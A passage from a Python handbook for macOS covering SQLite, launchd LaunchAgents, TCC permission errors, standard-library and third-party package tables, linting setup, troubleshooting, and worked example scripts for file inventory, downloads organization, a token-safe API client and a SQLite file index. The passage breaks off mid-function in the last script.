`with sqlite3.connect(...) as conn:` is a transaction context manager, not a connection one. On exit it commits or rolls back — it does not close the connection. This surprises everyone once. The `@contextmanager` wrapper above closes it properly.

Also: `PRAGMA foreign_keys` defaults to `OFF` and must be set **per connection**. Your `REFERENCES` clauses are decorative until you turn it on.

21.3 Bulk inserts

```
rows = [{"body": f"note {i}"} for i in range(100_000)]

with open_db(path) as conn:
    conn.executemany("INSERT INTO notes (body) VALUES (:body)", rows)
    # One transaction, one fsync. Looping execute() + commit() each time
    # is thousands of times slower — a disk sync per row.
```

21.4 When SQLite fits

Good fit	Bad fit

Local state for a CLI tool	Many concurrent **writers** (WAL gives you one writer at a time)
Caching API results between runs	Data accessed over a network filesystem — locking over NFS is unreliable
A file index / inventory you query repeatedly	Terabyte-scale analytics
Anything you'd otherwise put in a growing JSON file	Multi-machine access

022 macOS notes

22.1 Which Python

```
which -a python3                    # every python3 on PATH, in order
python3 -c "import sys; print(sys.executable)"
brew --prefix python@3.12
```

Path	What it is
`/usr/bin/python3`	Apple's. Version-locked to the OS, replaced by OS updates, has a stub that may trigger a Command Line Tools install. Don't build on it.
`/opt/homebrew/bin/python3`	Homebrew on Apple Silicon.
`/usr/local/bin/python3`	Homebrew on Intel. Also where a python.org installer puts things.
`~/.pyenv/versions/…`	pyenv.
`./.venv/bin/python`	Your project. This is the one that should be running.

NEVER
Hardcode `/usr/local/...` in a script. On every Apple Silicon Mac it does not exist, and your script fails with a `FileNotFoundError` that says nothing useful. Resolve it:

```
import shutil, subprocess

brew = shutil.which("brew")
if brew:
    prefix = subprocess.run([brew, "--prefix"], text=True,
                            capture_output=True, check=True).stdout.strip()
```

22.2 TCC — the permission errors that aren't permission errors

macOS gates access to `~/Desktop`, `~/Documents`, `~/Downloads`, Photos, Contacts, Calendar, and the whole disk behind TCC (Transparency, Consent, and Control). This is orthogonal to Unix mode bits. `ls -l` says `rw-r--r--`, you are the owner, and you **still** get:

```
PermissionError: [Errno 1] Operation not permitted: '/Users/you/Desktop/notes.txt'
```

Note the errno: EPERM (1), not EACCES (13). That distinction is the tell — EPERM from a file you own is almost always TCC, not permissions.

The consent is granted to the binary that owns the process, not to your script. If you run `python3 script.py` from Terminal, the entitlement must be granted to **Terminal.app** (or iTerm, or the VS Code helper). If a LaunchAgent runs it, it must be granted to the **Python binary itself**.

System Settings → Privacy & Security → Full Disk Access, add the app, restart the app (the entitlement is read at process start).

22.3 LaunchAgents

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
  "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
```

```
<dict>
  <key>Label</key>
  <string>com.you.filereport</string>

  <key>ProgramArguments</key>
  <array>
    <!-- ABSOLUTE paths. launchd has no PATH worth speaking of. -->
    <string>/Users/you/src/mytool/.venv/bin/python</string>
    <string>/Users/you/src/mytool/report.py</string>
  </array>

  <key>EnvironmentVariables</key>
  <dict>
    <!-- launchd does NOT read your .zshrc. Declare everything. -->
    <key>PATH</key>
    <string>/opt/homebrew/bin:/usr/bin:/bin:/usr/sbin:/sbin</string>
  </dict>

  <key>StartCalendarInterval</key>
  <dict>
    <key>Hour</key><integer>3</integer>
    <key>Minute</key><integer>30</integer>
  </dict>

  <key>StandardOutPath</key>
  <string>/Users/you/Library/Logs/filereport.log</string>
  <key>StandardErrorPath</key>
  <string>/Users/you/Library/Logs/filereport.err</string>
</dict>
</plist>
```

```
# ~/Library/LaunchAgents/com.you.filereport.plist
plutil -lint ~/Library/LaunchAgents/com.you.filereport.plist    # validate first
launchctl bootstrap gui/$(id -u) ~/Library/LaunchAgents/com.you.filereport.plist
launchctl kickstart -p gui/$(id -u)/com.you.filereport          # run it now
launchctl print gui/$(id -u)/com.you.filereport                 # status + last exit code
launchctl bootout gui/$(id -u)/com.you.filereport               # unload
```

WARNING

"It works in my terminal but not from launchd." It is one of exactly three things, in this order of likelihood:

1. **`$PATH`.** launchd gives you a minimal one. Use absolute paths in `ProgramArguments` and set `PATH` explicitly in `EnvironmentVariables`. `shutil.which("rg")` returning `None` at 3am is this.
2. **Environment variables.** Your `~/.zshrc` exports do not exist. `os.environ["API_TOKEN"]` raises `KeyError`.
3. **TCC.** The Python binary in your venv has not been granted Full Disk Access, so the `~/Documents` read that works interactively raises EPERM.

`StandardErrorPath` is how you find out which. Set it before you need it.

22.4 `plistlib`

```
import plistlib
from pathlib import Path

path = Path.home() / "Library" / "Preferences" / "com.apple.dock.plist"
```

```
with path.open("rb") as fh:                 # binary mode, always
    prefs = plistlib.load(fh)

print(prefs.get("orientation"), prefs.get("tilesize"))
```

`plistlib` transparently handles both binary and XML plists, so you don't need `plutil -convert xml1` first. It writes with `plistlib.dump(obj, fh, fmt=plistlib.FMT_BINARY)`.

NEVER
Write directly to a plist that a **running** daemon owns (Dock, Finder, `cfprefsd`). `cfprefsd` caches preferences in memory and will overwrite your file. Use `defaults write` via `subprocess`, which goes through the preferences daemon properly.

22.5 Calling macOS tools

```
import subprocess


def spotlight(query: str, scope: Path | None = None) -> list[str]:
    """Query the Spotlight index. Instant vs. minutes for an rglob."""
    cmd = ["mdfind"]
    if scope is not None:
        cmd += ["-onlyin", str(scope)]
    cmd += ["--", query]          # end-of-options guard

    result = subprocess.run(cmd, text=True, capture_output=True,
                            check=True, timeout=30)
    return result.stdout.splitlines()


print(spotlight("kMDItemContentType == 'public.python-script'",
                Path.home() / "src"))
```

Tool	Use
`mdfind`	Query the Spotlight index. Effectively instant; `rglob` over a home directory is not.
`mdls <path>`	Every metadata attribute for one file.
`sw_vers -productVersion`	macOS version.
`defaults read <domain>`	Read prefs **through** `cfprefsd`. Correct. Editing the plist directly is not.
`plutil -lint <plist>`	Validate a plist before `launchctl` silently ignores it.
`pbcopy` / `pbpaste`	Clipboard. `subprocess.run(["pbcopy"], input=text, text=True)`.
`osascript -e '...'`	AppleScript / JXA. Gated by TCC's Automation permission.
`xattr -l <path>`	Extended attributes — including `com.apple.quarantine`.
`codesign -dv --verbose=4 <path>`	Inspect a binary's signature.

FOOTGUN

> Files downloaded by a browser carry the `com.apple.quarantine` xattr. A script that creates a file does **not** — but a file your script **moves** keeps whatever xattrs it had. If you're building a downloader, `shutil.copy2` preserves xattrs on macOS; plain `copy` does not. This occasionally matters and is never documented where you'd look.

023 Standard library modules worth knowing

Module	Good for / one-liner	Footgun
`pathlib`	Paths as objects. `Path.home() / ".config" / "app.toml"`	`.exists()` follows symlinks — a broken link reports `False`.
`json`	Serialize / parse JSON. `json.dumps(d, indent=2, sort_keys=True)`	Int dict keys become strings. Tuples become lists. Sets raise.
`csv`	RFC-4180-correct CSV. `csv.DictReader(fh)`	`newline=""` on `open()` is mandatory. Every value read is a `str`.
`sqlite3`	Embedded ACID database. `conn.execute("... WHERE id = ?", (n,))`	`with conn:` commits but does not close. `PRAGMA foreign_keys` is OFF by default.
`subprocess`	Run external commands. `subprocess.run([...], check=True, timeout=30)`	`check=False` is the default — failures are silent. Never `shell=True` with interpolation.
`argparse`	CLI parsing + `--help` + exit 2. `parser.add_argument("--v", action="store_true")`	`type=` runs **before** validation; raise `ArgumentTypeError` from it, not `ValueError`.
`logging`	Levelled diagnostics to stderr. `logger = logging.getLogger(__name__)`	`basicConfig` is a no-op if a handler already exists. Never configure it at import time in a library.
`os`	Environment, fds, low-level I/O. `os.environ.get("TOKEN")`	`os.system` is `shell=True` with no escape. `os.chdir` mutates global state.
`sys`	Interpreter state. `sys.executable`, `sys.stderr`, `sys.exit(2)`	`sys.path` manipulation at runtime is a sign of a layout problem.
`shutil`	High-level file ops. `shutil.which("rg")`, `shutil.copy2(a, b)`	`rmtree` has no confirmation, no undo, and no dry-run.
`tempfile`	Safe temp files/dirs. `NamedTemporaryFile(dir=target.parent, delete=False)`	`mktemp()` is a symlink race. Default `dir` is `/tmp` — a different filesystem, which breaks atomic `replace()`.
`hashlib`	Digests. `hashlib.sha256(chunk).hexdigest()`	Never MD5/SHA-1 for security. Never a plain hash for passwords — `scrypt` / `argon2`.
`secrets`	CSPRNG for tokens. `secrets.token_urlsafe(32)`	Use this, not `random`, for anything anyone could benefit from guessing.
`hmac`	Signing + constant-time compare. `hmac.compare_digest(a, b)`	`==` on secrets leaks length and prefix via timing.
`datetime`	Dates and times. `datetime.now(timezone.utc)`	`datetime.now()` and `utcnow()` return **naive** objects. Naive vs aware

		comparison raises `TypeError`. Always pass `tz=`.
`zoneinfo`	IANA timezones (3.9+). `ZoneInfo("America/Vancouver")`	Needs `tzdata` on Windows. Storing local time instead of UTC is the actual bug.
`collections`	`Counter`, `defaultdict`, `deque`. `Counter(p.suffix for p in files)`	`defaultdict` inserts on **read**. `d[k]` inside an `if` mutates.
`dataclasses`	Typed records. `@dataclass(frozen=True, slots=True)`	Mutable default needs `field(default_factory=list)` — a bare `[]` raises at class definition.
`re`	Regex. `re.compile(p)` at module level	Cannot parse nesting. No timeout — a pathological pattern hangs.
`itertools`	Lazy iterator tools. `itertools.batched(items, 100)` (3.12+)	`tee` buffers; `chain.from_iterable` is not `chain`.
`functools`	`@cache`, `partial`, `reduce`. `@lru_cache(maxsize=1024)`	`@cache` is unbounded and holds references — a memory leak on a wide key space.
`urllib.parse`	URL encode/decode/join. `urlencode({"q": raw})`, `urljoin(base, rel)`	Manually building a query string with f-strings is an injection bug. Use `urlencode`.
`http.client`	Raw HTTP/1.1. Only when you cannot take a dependency.	Verbose, manual redirects, manual retries. `requests` exists for a reason.
`venv`	Environments. `python3 -m venv .venv`	Activation only edits `PATH`. Moving the directory breaks the shebangs inside it.
`unittest.mock`	Patch collaborators in tests. `@patch("mod.requests.get")`	Patch where the name is **looked up**, not where it's defined.
`contextlib`	Custom `with` blocks. `@contextmanager`	`suppress(Exception)` is a documented way to write `except: pass`. Same sin.
`textwrap`	`dedent`, `shorten`, `fill`. `textwrap.dedent(sql)`	`dedent` needs **consistent** leading whitespace or it does nothing.
`difflib`	Diff two sequences. `difflib.unified_diff(a, b)`	$O(n^2)$ worst case.
`concurrent.futures`	Parallelism. `ThreadPoolExecutor` for I/O, `ProcessPoolExecutor` for CPU	Threads do not speed up CPU work (GIL). Exceptions inside a worker surface only when you call `.result()`.

024 Third-party packages worth the dependency

Standard library first. Every dependency is code you did not audit, a supply-chain path into your machine, and a thing that breaks on a Python upgrade. Add one when it removes **real** complexity, not to save eight lines.

Package	Class	Verdict
`requests`	HTTP	The default. Worth it — `urllib.request` is genuinely painful. Remember: no default timeout.
`httpx`	HTTP	Same API as `requests`, plus async, HTTP/2, and a **sane** default timeout. Prefer for new code, especially async.
`pytest`	Testing	Yes. Plain `assert`, real fixtures, `parametrize`. `unittest` is boilerplate by comparison.
`ruff`	Lint + format	Yes, immediately. Replaces flake8, isort, pyupgrade, most of pylint, and `black`. Written in Rust; near-instant.
`black`	Format	Still fine; `ruff format` is now the same thing, faster, and one fewer dependency. Pick one.
`mypy` / `pyright`	Type check	`mypy` is the reference implementation. `pyright` is faster and is what VS Code's Pylance runs. Either.
`rich`	Terminal output	Tables, progress bars, syntax highlighting, tracebacks. Excellent — but check `sys.stdout.isatty()` before you emit ANSI into a pipe.
`typer`	CLI	`argparse` driven by type hints. Very clean. Built on `click`. A dependency, so: `argparse` for a script, `typer` for a tool.
`click`	CLI	Mature, composable, decorator-based. `typer` is a thin layer over it.
`pydantic`	Validation	Parse untrusted JSON/config into typed models with real error messages. The moment your hand-rolled validator hits 3 fields, switch.
`python-dotenv`	Config	Loads `.env` into `os.environ`. Dev convenience only — not a secrets store.
`cryptography`	Crypto	The only correct answer. Do not implement crypto. Do not use `pycrypto` (abandoned, vulnerable).
`beautifulsoup4`	HTML	Forgiving HTML parsing. Pair with `lxml` as the backend for speed.
`lxml`	XML/HTML	Fast, standards-correct. Use `defusedxml` for **untrusted** XML — billion-laughs and XXE are real.
`pandas`	Data	Heavy (50 MB with numpy) and a real learning curve. Superb for exploratory analysis. Overkill for "read a CSV and sum a column" — that's the `csv` module.
`polars`	Data	Faster, lower memory, cleaner API than pandas. Worth a look for anything large.
`tqdm`	Progress	One-line progress bars. `for x in tqdm(items):`. Trivially worth it in a long loop.
`pip-audit`	Security	Audits installed packages against advisory databases. Run it in CI.

025 Quality-of-life tooling

```
python -m pip install ruff black pytest
ruff check .                  # lint
ruff check --fix .            # autofix what's safe
ruff format .                 # format (drop-in for black)
black .                       # if you prefer black
pytest                        # test
mypy src/                     # type check
```

25.1 `ruff` config

```
[tool.ruff]
line-length = 100
target-version = "py311"

[tool.ruff.lint]
select = [
    "E", "W",   # pycodestyle
    "F",        # pyflakes — unused imports, undefined names
    "I",        # isort — import ordering
    "B",        # bugbear — MUTABLE DEFAULTS, and other real bugs
    "UP",       # pyupgrade — modernize syntax for your target version
    "S",        # bandit — SECURITY: shell=True, assert, hardcoded passwords, eval
    "SIM",      # simplify
    "PTH",      # flag os.path usage; suggest pathlib
]
ignore = ["E501"]             # line length is handled by the formatter

[tool.ruff.lint.per-file-ignores]
"tests/*" = ["S101"]          # assert is the point in tests
```

`B` and `S` are the two that catch actual bugs rather than style. `B006` is the mutable default argument from §1. `S602` / `S603` are `shell=True`. `S101` is `assert` used outside a test. Turn them on.

25.2 `pre-commit`

```
# .pre-commit-config.yaml
repos:
  - repo: https://github.com/astral-sh/ruff-pre-commit
    rev: v0.6.9
    hooks:
      - id: ruff
        args: [--fix]
      - id: ruff-format

  - repo: https://github.com/pre-commit/pre-commit-hooks
    rev: v4.6.0
    hooks:
      - id: check-added-large-files
      - id: check-merge-conflict
      - id: detect-private-key          # catches a committed key. Worth it alone.
      - id: end-of-file-fixer
```

```
python -m pip install pre-commit
pre-commit install                 # installs the git hook
pre-commit run --all-files         # run it now, over everything
```

`detect-private-key` and `check-added-large-files` will each save you exactly once, and that one time will be worth the setup.

25.3 `ipython`

```
python -m pip install ipython
ipython
```

Tab completion, `?` for docstrings, `??` for source, `%timeit` for microbenchmarks, `%debug` to drop into `pdb` on the last exception. Strictly better than the bare REPL for exploration.

026 Troubleshooting

26.1 Diagnosis first

```
which -a python3                                        # every python3, in PATH order
python3 --version
python3 -m pip --version                                # which pip, bound to which python
python3 -c "import sys; print(sys.executable)"          # THE interpreter that is running
python3 -c "import sys; print(sys.prefix)"              # venv root, or system prefix
python3 -c "import sys; print('\n'.join(sys.path))"     # where imports are searched
python3 -c "import requests; print(requests.__file__)" # where a module ACTUALLY came from
echo "$VIRTUAL_ENV"                                     # empty = no venv is active
python3 -m site                                         # site-packages paths
```

Those seven lines resolve the overwhelming majority of Python environment problems. Run them before theorizing.

26.2 The table

Symptom	Cause	Fix
`python: command not found`	There is no `python`, only `python3`. Modern macOS ships no `python` at all outside a venv.	Use `python3`. Inside an active venv, `python` exists and is correct.
Installed with pip, `ModuleNotFoundError` on import	`pip` and `python3` are different interpreters. The classic.	`python3 -m pip install X` Compare `which pip` to `python3 -c "import sys; print(sys.executable)"`.
`ModuleNotFoundError` for your **own** module	Running from the wrong directory, or a missing `src/` install.	`pip install -e .` or run as `python3 -m my_tool.cli` from the project root.
Import works in the REPL, fails in the script	A file in your directory shadows a stdlib module (`json.py`, `types.py`).	`python3 -c "import json; print(json.__file__)"` If it points at your project,

		rename the file. Delete `__pycache__`.
Wrong venv silently active	You `activate`d one venv and are in another project's directory.	`echo "$VIRTUAL_ENV"`. `deactivate`, then `source .venv/bin/activate` from the **right** root.
`error: externally-managed-environment`	PEP 668. You're pip-installing into a Homebrew/system Python.	Create a venv. This message is correct and you should obey it. Do not reach for `--break-system-packages`.
`PermissionError: [Errno 13]`	Unix mode bits. Genuinely no permission.	`ls -l`. Don't `sudo pip` — that's how the problem started.
`PermissionError: [Errno 1] Operation not permitted` on a file you own	macOS TCC, not permissions. EPERM, not EACCES.	Grant Full Disk Access to the **app** running Python (Terminal/iTerm/VS Code), then restart it.
`json.JSONDecodeError: Expecting value: line 1 column 1`	The body is not JSON. Usually an HTML error page, a 204 with no body, or an empty file.	`print(response.text[:` and `response.headers["con type"]` Look at what you actually got.
`UnicodeDecodeError: 'utf-8' codec can't decode byte 0x…`	The file isn't UTF-8, or is binary.	`errors="surrogateesca` to round-trip, `errors="replace"` to display, or open in

		`"rb"` if it's binary.
`SSLCertVerificationError`	Corporate TLS interception, or a stale trust store.	`verify="/path/corp-ca.pem"` or `REQUESTS_CA_BUNDLE=…` or `pip install -U certifi`. Never `verify=False`
HTTP 401	Token missing, expired, or malformed. Or stripped on a cross-host redirect.	Echo the **length** of the token, never the value. Check `response.request.headers` keys. Check `response.history` for a redirect.
HTTP 403	Authenticated but not authorized. A **different** bug from 401.	The token is fine; the scope isn't. Do not retry.
`FileNotFoundError` from `subprocess.run`	The **program** wasn't found — not your data file.	`shutil.which("rg")` before the call. Use an absolute path under launchd/cron.
Script works in terminal, fails under launchd/cron	Minimal `$PATH`. No shell rc. No environment. Possibly no TCC grant.	Absolute paths in `ProgramArguments`. Declare `EnvironmentVariables`. Set `StandardErrorPath` and read it.
`TabError: inconsistent use of tabs and spaces`	Mixed indentation.	Configure the editor: expand tabs, 4 spaces. `ruff format`.
`SyntaxError` pointing at an obviously correct line	Unclosed `(`, `[`, `{`, or	Look up one line.

	quote on the line **above**.	
`UnboundLocalError: local variable 'x' referenced before assignment`	You assigned to `x` somewhere in the function, so `x` is local for the **whole** function — including where you read the global.	Rename the local, or `global x` / `nonlocal x` if you truly meant it.
`ImportError: cannot import name 'x' from partially initialized module`	Circular import.	Extract the shared thing into a third module. Deferring the import into the function body is a band-aid.
Function returns stale/shared data across calls	Mutable default argument.	`def f(x, into: list | None = None)` + `if into is None: into = []` Enable ruff `B006`.
Script hangs forever, no output, no error	`requests` with no `timeout=`, or a `subprocess` pipe deadlock.	Add `timeout=`. Use `communicate()` not `wait()` with an unread pipe.

027 Projects

Each one is complete, runnable, and pulls together several sections. Build them in order; each is harder than the last.

27.1 1 — File inventory reporter

Goal. Walk a tree, record every file's path, size, mtime, and extension, and emit a JSON report plus a summary table.

Concepts. §6 pathlib · §7 exceptions · §10 JSON · §14 Counter/dataclass · §20 streaming

inventory.py

```
#!/usr/bin/env python3
"""Inventory a directory tree. Emits JSON, prints a summary."""

import argparse
import json
import logging
import sys
from collections import Counter
from dataclasses import asdict, dataclass
from datetime import datetime, timezone
from pathlib import Path

logger = logging.getLogger("inventory")


@dataclass(frozen=True, slots=True)
class FileRecord:
    path: str
    size: int
    modified: str
    extension: str


def inventory(root: Path) -> list[FileRecord]:
    records: list[FileRecord] = []
    for path in root.rglob("*"):
        try:
            if path.is_symlink() or not path.is_file():
                continue
            st = path.stat()
        except (PermissionError, OSError) as exc:
            logger.debug("skip %s: %s", path, exc)   # one bad dir must not abort the walk
            continue

        records.append(FileRecord(
            path=str(path),
            size=st.st_size,
            modified=datetime.fromtimestamp(st.st_mtime, timezone.utc).isoformat(),
            extension=path.suffix.lower() or "<none>",
        ))
    return records


def human(size: float) -> str:
    for unit in ("B", "KiB", "MiB", "GiB", "TiB"):
```

```
        if size < 1024 or unit == "TiB":
            return f"{size:,.1f} {unit}"
        size /= 1024
    return f"{size:,.1f} TiB"


def main() -> int:
    parser = argparse.ArgumentParser(description=__doc__)
    parser.add_argument("directory", type=Path)
    parser.add_argument("-o", "--output", type=Path)
    parser.add_argument("-v", "--verbose", action="store_true")
    args = parser.parse_args()

    logging.basicConfig(
        level=logging.DEBUG if args.verbose else logging.INFO,
        format="%(levelname)s: %(message)s",
        stream=sys.stderr,
    )

    root = args.directory.expanduser().resolve()
    if not root.is_dir():
        logger.error("not a directory: %s", root)
        return 2

    records = inventory(root)
    if not records:
        logger.warning("no readable files under %s", root)
        return 0

    by_ext = Counter(r.extension for r in records)
    total = sum(r.size for r in records)

    print(f"\n{len(records):,} files, {human(total)}\n")
    print(f"{'ext':<14}{'count':>8}{'bytes':>16}")
    print("-" * 38)
    for ext, count in by_ext.most_common(15):
        size = sum(r.size for r in records if r.extension == ext)
        print(f"{ext:<14}{count:>8,}{human(size):>16}")

    if args.output:
        payload = {
            "root": str(root),
            "generated": datetime.now(timezone.utc).isoformat(),
            "file_count": len(records),
            "total_bytes": total,
            "files": [asdict(r) for r in records],
        }
        args.output.write_text(
            json.dumps(payload, indent=2, sort_keys=True),
            encoding="utf-8",
        )
        logger.info("wrote %s", args.output)

    return 0


if __name__ == "__main__":
    raise SystemExit(main())
```

Run. `python3 inventory.py ~/src -o inventory.json`

Footguns. The summary loop is O(n·k) — it re-scans `records` once per extension. Fine for 50k files, wasteful at 5M; accumulate sizes in the same pass as the counts. `asdict()` on a 5M-record list will exhaust memory — stream JSONL instead. On macOS, `rglob` from `/` walks firmlinks and reports apparent duplicates.

Upgrades. JSONL output. `--exclude` globs. Write to SQLite (§21) and diff two runs to find what changed.

27.2 2 — Downloads organizer with dry-run

Goal. Sort `~/Downloads` into per-type folders. Refuse to clobber. Dry-run by default.

Concepts. §6 atomic rename · §9 argparse/dry-run · §19 safe paths

organize2.py

```
#!/usr/bin/env python3
"""Organize a folder into category subdirectories. Dry-run unless --apply."""

import argparse
import logging
import sys
from pathlib import Path

logger = logging.getLogger("organize")

CATEGORIES: dict[str, set[str]] = {
    "images":    {".jpg", ".jpeg", ".png", ".gif", ".webp", ".heic", ".svg"},
    "documents": {".pdf", ".docx", ".txt", ".md", ".pages", ".rtf", ".epub"},
    "archives":  {".zip", ".tar", ".gz", ".bz2", ".xz", ".7z", ".dmg"},
    "media":     {".mp4", ".mov", ".mp3", ".m4a", ".wav", ".mkv"},
    "code":      {".py", ".js", ".ts", ".sh", ".c", ".rs", ".go", ".json"},
}
SKIP_NAMES = {".DS_Store", ".localized"}


def category_for(path: Path) -> str:
    suffix = path.suffix.lower()
    for name, extensions in CATEGORIES.items():
        if suffix in extensions:
            return name
    return "other"


def build_plan(root: Path) -> list[tuple[Path, Path]]:
    plan: list[tuple[Path, Path]] = []
    bucket_names = set(CATEGORIES) | {"other"}

    for path in root.iterdir():
        if path.is_dir() or path.is_symlink():
            continue                                # don't recurse into our own buckets
        if path.name in SKIP_NAMES or path.name.startswith("."):
            continue
        if path.suffix.lower() in {".part", ".crdownload", ".download"}:
            logger.debug("in-progress download, skipping: %s", path.name)
            continue

        bucket = root / category_for(path)
```

```
        if bucket.name not in bucket_names:
            continue

        target = bucket / path.name
        counter = 1
        while target.exists():                    # never overwrite
            target = bucket / f"{path.stem}-{counter}{path.suffix}"
            counter += 1

        plan.append((path, target))
    return plan


def main() -> int:
    parser = argparse.ArgumentParser(description=__doc__)
    parser.add_argument("directory", type=Path, nargs="?",
                        default=Path.home() / "Downloads")
    parser.add_argument("--apply", action="store_true",
                        help="Execute the plan. Without this, nothing is moved.")
    parser.add_argument("-v", "--verbose", action="store_true")
    args = parser.parse_args()

    logging.basicConfig(
        level=logging.DEBUG if args.verbose else logging.INFO,
        format="%(message)s",
        stream=sys.stderr,
    )

    root = args.directory.expanduser().resolve()
    if not root.is_dir():
        logger.error("not a directory: %s", root)
        return 2

    plan = build_plan(root)
    if not plan:
        logger.info("nothing to organize in %s", root)
        return 0

    for src, dst in plan:
        if not args.apply:
            logger.info("[DRY-RUN] %-45s -> %s/", src.name, dst.parent.name)
            continue
        dst.parent.mkdir(exist_ok=True)
        src.replace(dst)              # atomic: same filesystem, subdirectory of source
        logger.info("moved     %-45s -> %s/", src.name, dst.parent.name)

    if not args.apply:
        logger.info("\n%d file(s) would move. Re-run with --apply.", len(plan))

    return 0


if __name__ == "__main__":
    raise SystemExit(main())
```

Run. `python3 organize2.py` → review → `python3 organize2.py --apply`

Footguns. `.part` / `.crdownload` are skipped because moving a file a browser is actively writing to corrupts it. Directories are skipped so a second run doesn't try to move the `images/` bucket into `other/`. `src.replace()` silently overwrites on POSIX — which is exactly why the collision loop exists.

Upgrades. Read categories from a TOML config (§10). Log an undo manifest as JSONL and add a `--revert` subcommand. Wire it to a LaunchAgent (§22).

27.3 3 — Secret-safe API client

Goal. Fetch a paginated endpoint, retry with backoff, never leak the token, write atomically.

Concepts. §8 redaction · §11 HTTP/retries/pagination · §6 atomic write · §7 exceptions

apiclient.py

```
#!/usr/bin/env python3
"""Fetch a paginated JSON API. Retries, backs off, and never logs the token."""

import argparse
import json
import logging
import os
import sys
import tempfile
from collections.abc import Iterator
from pathlib import Path

import requests
from requests.adapters import HTTPAdapter
from urllib3.util.retry import Retry

logger = logging.getLogger("apiclient")
TIMEOUT = (3.05, 30)          # (connect, read) — never omit


def build_session(token: str) -> requests.Session:
    session = requests.Session()
    retry = Retry(
        total=5,
        backoff_factor=0.5,                       # 0.5, 1, 2, 4, 8 seconds
        status_forcelist=(429, 500, 502, 503, 504),
        allowed_methods=frozenset({"GET"}),       # idempotent only
        respect_retry_after_header=True,
        raise_on_status=False,
    )
    session.mount("https://", HTTPAdapter(max_retries=retry))
    session.headers.update({
        "Authorization": f"Bearer {token}",
        "Accept": "application/json",
        "User-Agent": "apiclient/1.0",
    })
    return session


def fetch_page(session: requests.Session, url: str, page: int) -> dict:
    # Log the URL and the page. NEVER the headers, NEVER the token.
    logger.debug("GET %s page=%d", url, page)
```

```
    response = session.get(url, params={"page": page, "per_page": 100},
                           timeout=TIMEOUT)

    if response.status_code == 401:
        raise RuntimeError("401: token missing, expired, or malformed")
    if response.status_code == 403:
        raise RuntimeError("403: token valid but lacks permission")
    response.raise_for_status()

    try:
        return response.json()
    except ValueError as exc:
        # Truncate hard — the body could be huge, or could echo back a credential.
        raise RuntimeError(
            f"non-JSON response ({response.headers.get('content-type', '?')}): "
            f"{response.text[:200]!r}"
        ) from exc


def paginate(session: requests.Session, url: str) -> Iterator[dict]:
    page = 1
    while True:
        payload = fetch_page(session, url, page)
        items = payload.get("items", [])
        if not items:
            return
        logger.info("page %d: %d items", page, len(items))
        yield from items
        if len(items) < 100:
            return                                  # short page = last page
        page += 1


def atomic_write_text(path: Path, content: str) -> None:
    path.parent.mkdir(parents=True, exist_ok=True)
    with tempfile.NamedTemporaryFile(
        "w", encoding="utf-8", dir=path.parent, delete=False,
    ) as tmp:
        tmp.write(content)
        tmp_path = Path(tmp.name)
    tmp_path.replace(path)


def main() -> int:
    parser = argparse.ArgumentParser(description=__doc__)
    parser.add_argument("url")
    parser.add_argument("-o", "--output", type=Path, required=True)
    parser.add_argument("-v", "--verbose", action="store_true")
    args = parser.parse_args()

    logging.basicConfig(
        level=logging.DEBUG if args.verbose else logging.INFO,
        format="%(levelname)s: %(message)s",
        stream=sys.stderr,
    )

    token = os.environ.get("API_TOKEN")
    if not token:
```

```
        logger.error("API_TOKEN is not set")
        return 2
    logger.debug("token loaded (%d chars, ends %s)", len(token), token[-4:])

    try:
        with build_session(token) as session:
            items = list(paginate(session, args.url))
    except requests.Timeout:
        logger.error("timed out")
        return 1
    except requests.HTTPError as exc:
        logger.error("HTTP %s", exc.response.status_code)
        return 1
    except (requests.RequestException, RuntimeError) as exc:
        logger.error("%s", exc)
        return 1

    atomic_write_text(
        args.output,
        json.dumps(items, indent=2, sort_keys=True, ensure_ascii=False),
    )
    logger.info("wrote %d items -> %s", len(items), args.output)
    return 0


if __name__ == "__main__":
    raise SystemExit(main())
```

Run. `API_TOKEN=… python3 apiclient.py https://api.example.com/v1/items -o out.json -v`

Footguns. `logger.debug` prints the token's **length and last four** — enough to tell two tokens apart, useless to an attacker. Never the whole thing. Retries are `GET`-only: retrying a timed-out `POST` can double-create. `list(paginate(...))` buffers everything — for a large result set, stream to JSONL instead.

Upgrades. JSONL streaming. `--since` for incremental syncs. Cache to SQLite (§21) and only fetch deltas. Read the token from the macOS Keychain via `security find-generic-password`.

27.4 4 — SQLite-backed file index

Goal. Index a tree into SQLite with SHA-256 digests. Re-run to detect changes. Find duplicates.

Concepts. §21 SQLite · §13 hashing · §12 subprocess · §20 performance

fileindex.py

```
#!/usr/bin/env python3
"""Index files into SQLite. Detect changes and duplicates across runs."""

import argparse
import hashlib
import logging
import sqlite3
import sys
from collections.abc import Iterator
from contextlib import contextmanager
from pathlib import Path
```

```
logger = logging.getLogger("fileindex")
CHUNK = 1024 * 1024

SCHEMA = """
CREATE TABLE IF NOT EXISTS files (
    path      TEXT PRIMARY KEY,
    size      INTEGER NOT NULL,
    mtime     REAL    NOT NULL,
    digest    TEXT    NOT NULL,
    seen_at   TEXT    NOT NULL DEFAULT (datetime('now'))
);
CREATE INDEX IF NOT EXISTS idx_digest ON files(digest);
CREATE INDEX IF NOT EXISTS idx_size   ON files(size);
"""


@contextmanager
def open_db(path: Path) -> Iterator[sqlite3.Connection]:
    path.parent.mkdir(parents=True, exist_ok=True)
    conn = sqlite3.connect(path, timeout=10)
    try:
        conn.row_factory = sqlite3.Row
        conn.execute("PRAGMA journal_mode = WAL")
        conn.executescript(SCHEMA)
        yield conn
        conn.commit()
    except Exception:
        conn.rollback()
        raise
    finally:
        conn.close()            # `with conn:` would NOT do this


def sha256(path: Path) -> str:
    digest = hashlib.sha256()
    with path.open("rb") as fh:
        while chunk := fh.read(CHUNK):
            digest.update(chunk)
    return digest.hexdigest()


def index(conn: sqlite3.Connection, root: Path) -> tuple[int, int]:
    scanned = hashed = 0

    for path in root.rglob("*"):
        try:
            if path.is_symlink() or not path.is_file():
                continue
            st = path.stat()
        except (PermissionError, OSError) as exc:
            logger.debug("skip %s: %s", path, exc)
            continue

        scanned += 1
        key = str(path)

        row = conn.execute(
            "SELECT size, mtime FROM files WHERE path = ?", (key,)
```

```
        ).fetchone()

        # Cheap check first: if size and mtime are unchanged, skip the expensive hash.
        if row and row["size"] == st.st_size and row["mtime"] == st.st_mtime:
            continue

        try:
            digest = sha256(path)
        except (PermissionError, OSError) as exc:
            logger.debug("cannot hash %s: %s", path, exc)
            continue

        hashed += 1
        if row:
            logger.info("CHANGED %s", path)

